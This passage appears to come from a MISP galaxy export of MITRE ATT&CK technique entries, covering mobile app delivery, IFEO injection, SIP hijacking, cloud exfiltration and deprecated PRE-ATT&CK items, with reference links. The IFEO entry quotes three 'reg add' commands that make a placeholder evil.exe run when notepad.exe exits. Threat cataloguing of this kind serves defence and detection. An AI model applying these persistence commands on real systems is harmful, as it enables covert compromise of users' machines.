http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
https://attack.mitre.org/techniques/T1127
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/

App Delivered via Web Download - T1431

The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="App Delivered via Web Download - T1431"*

View relationships graph

App Delivered via Web Download - T1431 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 3688. Table References

Links

https://attack.mitre.org/techniques/T1431

Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., "C:\dbg\ntsd.exe -g notepad.exe"). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)

- <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512</code>
- <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1</code>
- <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code>

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

The tag is: *misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183"*

View relationships graph

Image File Execution Options Injection - T1183 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"

Table 3689. Table References

Links
https://attack.mitre.org/techniques/T1183
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2

SIP and Trust Provider Hijacking - T1198

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType

0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP's CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).

- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP's CryptSIPDllVerifyIndirectData function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198"*

View relationships graph

SIP and Trust Provider Hijacking - T1198 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"

Table 3690. Table References

Links
http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
https://attack.mitre.org/techniques/T1198

https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
https://github.com/mattifestation/PoCSubjectInterfacePackage
https://msdn.microsoft.com/library/ms537359.aspx
https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

File and Directory Permissions Modification - T1222

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory's existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222"*

Table 3691. Table References

Links
https://attack.mitre.org/techniques/T1222
https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110

https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100

Assess leadership areas of interest - T1224

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1224).

Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess leadership areas of interest - T1224"*

Table 3692. Table References

Links
https://attack.mitre.org/techniques/T1224

Determine 3rd party infrastructure services - T1284

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1284).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284"*

View relationships graph

Determine 3rd party infrastructure services - T1284 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260" with estimative-language:likelihood-probability="almost-certain"

Table 3693. Table References

Links
https://attack.mitre.org/techniques/T1284

Determine highest level tactical element - T1243

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1243).

From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine highest level tactical element - T1243"*

Table 3694. Table References

Links
https://attack.mitre.org/techniques/T1243

Determine secondary level tactical element - T1244

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1244).

The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine secondary level tactical element - T1244"*

Table 3695. Table References

Links
https://attack.mitre.org/techniques/T1244

Attack PC via USB Connection - T1427

With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.

The tag is: *misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427"*

Table 3696. Table References

Links

http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/
http://dl.acm.org/citation.cfm?id=1920314
https://attack.mitre.org/techniques/T1427
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html

Determine centralization of IT management - T1285

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1285).

Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine centralization of IT management - T1285"*

Table 3697. Table References

Links
https://attack.mitre.org/techniques/T1285

Determine external network trust dependencies - T1259

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1259).

Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine external network trust dependencies - T1259"*

Table 3698. Table References

Links
https://attack.mitre.org/techniques/T1259

Analyze organizational skillsets and deficiencies - T1297

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1297).

Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297"*

View relationships graph

Analyze organizational skillsets and deficiencies - T1297 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300" with estimative-language:likelihood-probability="almost-certain"

Table 3699. Table References

Links
https://attack.mitre.org/techniques/T1297

Analyze architecture and configuration posture - T1288

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1288).

An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze architecture and configuration posture - T1288"*

Table 3700. Table References

Links
https://attack.mitre.org/techniques/T1288

Analyze organizational skillsets and deficiencies - T1289

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1289).

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289"*

View relationships graph

Analyze organizational skillsets and deficiencies - T1289 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297" with estimative-language:likelihood-probability="almost-certain"

Table 3701. Table References

Links
https://attack.mitre.org/techniques/T1289

Leverage compromised 3rd party resources - T1375

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)

The tag is: *misp-galaxy:mitre-attack-pattern="Leverage compromised 3rd party resources - T1375"*

Table 3702. Table References

Links
https://attack.mitre.org/techniques/T1375

Procure required equipment and software - T1335

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content

of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1335).

An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)

The tag is: *misp-galaxy:mitre-attack-pattern="Procure required equipment and software - T1335"*

Table 3703. Table References

Links
https://attack.mitre.org/techniques/T1335
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html

SSL certificate acquisition for domain - T1337

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1337).

Certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) —&#
8201;homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)

The tag is: *misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for domain - T1337"*

Table 3704. Table References

Links
https://attack.mitre.org/techniques/T1337
https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/

Confirmation of launched compromise achieved - T1383

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Confirmation of launched compromise achieved - T1383"*

Table 3705. Table References

Links
https://attack.mitre.org/techniques/T1383

App Delivered via Email Attachment - T1434

The application is delivered as an email attachment.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="App Delivered via Email Attachment - T1434"*

View relationships graph

App Delivered via Email Attachment - T1434 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 3706. Table References

Links
https://attack.mitre.org/techniques/T1434

Create or Modify System Process - T1543

Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)

The tag is: *misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"*

Table 3707. Table References

Links
https://attack.mitre.org/techniques/T1543
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://technet.microsoft.com/en-us/library/cc772408.aspx
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf

Build and configure delivery systems - T1347

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1347).

Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Build and configure delivery systems - T1347"*

Table 3708. Table References

Links
https://attack.mitre.org/techniques/T1347

Automated system performs requested action - T1384

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Automated system performs requested action - T1384"*

Table 3709. Table References

Links
https://attack.mitre.org/techniques/T1384

Eavesdrop on Insecure Network Communication - T1439

If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)

The tag is: *misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439"*

Table 3710. Table References

Links
https://attack.mitre.org/techniques/T1439
https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html

Distribute malicious software development tools - T1394

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1394).

An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)

The tag is: *misp-galaxy:mitre-attack-pattern="Distribute malicious software development tools - T1394"*

Table 3711. Table References

Links
https://attack.mitre.org/techniques/T1394

Transfer Data to Cloud Account - T1537

Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider

APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537"*

Table 3712. Table References

Links
https://attack.mitre.org/techniques/T1537
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html
https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview
https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature
https://www.justice.gov/file/1080281/download

Review logs and residual traces - T1358

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1358).

Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)

The tag is: *misp-galaxy:mitre-attack-pattern="Review logs and residual traces - T1358"*

Table 3713. Table References

Links
https://attack.mitre.org/techniques/T1358

Runtime code download and execution - T1395

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime code download and execution - T1395"*

Table 3714. Table References

Links
https://attack.mitre.org/techniques/T1395

Test malware to evade detection - T1359

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1359).

An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)

The tag is: *misp-galaxy:mitre-attack-pattern="Test malware to evade detection - T1359"*

Table 3715. Table References

Links
https://attack.mitre.org/techniques/T1359

Replace legitimate binary with malware - T1378

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)

The tag is: *misp-galaxy:mitre-attack-pattern="Replace legitimate binary with malware - T1378"*

Table 3716. Table References

Links
https://attack.mitre.org/techniques/T1378

Compromise of externally facing system - T1388

This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.

Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise of externally facing system - T1388"*

Table 3717. Table References

Links
https://attack.mitre.org/techniques/T1388

Jamming or Denial of Service - T1464

An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)

The tag is: *misp-galaxy:mitre-attack-pattern="Jamming or Denial of Service - T1464"*

Table 3718. Table References

Links
http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf
https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/
https://attack.mitre.org/techniques/T1464
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html
https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html
https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/
https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/
https://www.nytimes.com/2007/11/04/technology/04jammer.html

Boot or Logon Autostart Execution - T1547

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"*

Table 3719. Table References

Links
http://msdn.microsoft.com/en-us/library/aa376977
https://attack.mitre.org/techniques/T1547
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://capec.mitre.org/data/definitions/564.html
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf

Remotely Track Device Without Authorization - T1468

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location)

The tag is: *misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468"*

Table 3720. Table References

Links
https://attack.mitre.org/techniques/T1468
https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
